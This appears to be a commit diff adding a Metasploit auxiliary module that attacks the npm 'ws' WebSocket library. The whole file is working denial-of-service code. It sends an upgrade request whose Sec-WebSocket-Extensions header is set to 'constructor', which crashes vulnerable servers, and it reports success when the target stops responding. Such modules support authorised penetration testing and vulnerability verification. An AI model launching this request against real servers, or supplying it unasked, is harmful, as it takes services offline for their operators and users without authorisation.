|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Auxiliary |
| 7 | + include Msf::Exploit::Remote::Tcp |
| 8 | + include Msf::Auxiliary::Dos |
| 9 | + |
| 10 | + def initialize |
| 11 | + super( |
| 12 | + 'Name' => 'ws - Denial of Service', |
| 13 | + 'Description' => %q{ |
| 14 | + This module exploits a Denial of Service vulnerability in npm module "ws". |
| 15 | + By sending a specially crafted value of the Sec-WebSocket-Extensions header on the initial WebSocket upgrade request, the ws component will crash. |
| 16 | + }, |
| 17 | + 'References' => |
| 18 | + [ |
| 19 | + ['URL', 'https://nodesecurity.io/advisories/550'], |
| 20 | + ['CWE', '400'], |
| 21 | + ], |
| 22 | + 'Author' => |
| 23 | + [ |
| 24 | + 'Ryan Knell, Sonatype Security Research', |
| 25 | + 'Nick Starke, Sonatype Security Research', |
| 26 | + ], |
| 27 | + 'License' => MSF_LICENSE |
| 28 | + ) |
| 29 | + |
| 30 | + register_options([ |
| 31 | + Opt::RPORT(3000), |
| 32 | + OptString.new('TARGETURI', [true, 'The base path', '/']), |
| 33 | + ],) |
| 34 | + end |
| 35 | + |
| 36 | + def run |
| 37 | + path = datastore['TARGETURI'] |
| 38 | + |
| 39 | + #Create HTTP request |
| 40 | + req = [ |
| 41 | + "GET #{path} HTTP/1.1", |
| 42 | + "Connection: Upgrade", |
| 43 | + "Sec-WebSocket-Key: #{Rex::Text.rand_text_alpha(rand(10) + 5).to_s}", |
| 44 | + "Sec-WebSocket-Version: 8", |
| 45 | + "Sec-WebSocket-Extensions: constructor", #Adding "constructor" as the value for this header causes the DoS |
| 46 | + "Upgrade: websocket", |
| 47 | + "\r\n" |
| 48 | + ].join("\r\n"); |
| 49 | + |
| 50 | + begin |
| 51 | + connect |
| 52 | + print_status("Sending DoS packet to #{peer}") |
| 53 | + sock.put(req) |
| 54 | + |
| 55 | + data = sock.get_once(-1) #Attempt to retrieve data from the socket |
| 56 | + |
| 57 | + if data =~ /101/ #This is the expected HTTP status code. IF it's present, we have a valid upgrade response. |
| 58 | + print_error("WebSocket Upgrade request Successful, service not vulnerable.") |
| 59 | + else |
| 60 | + fail_with(Failure::Unknown, "An unknown error occured") |
| 61 | + end |
| 62 | + |
| 63 | + disconnect |
| 64 | + print_error("DoS packet unsuccessful") |
| 65 | + |
| 66 | + rescue ::Rex::ConnectionRefused |
| 67 | + print_error("Unable to connect to #{peer}") |
| 68 | + rescue ::Errno::ECONNRESET, ::EOFError |
| 69 | + print_good("DoS packet successful. #{peer} not responding.") |
| 70 | + end |
| 71 | + end |
| 72 | +end |
0 commit comments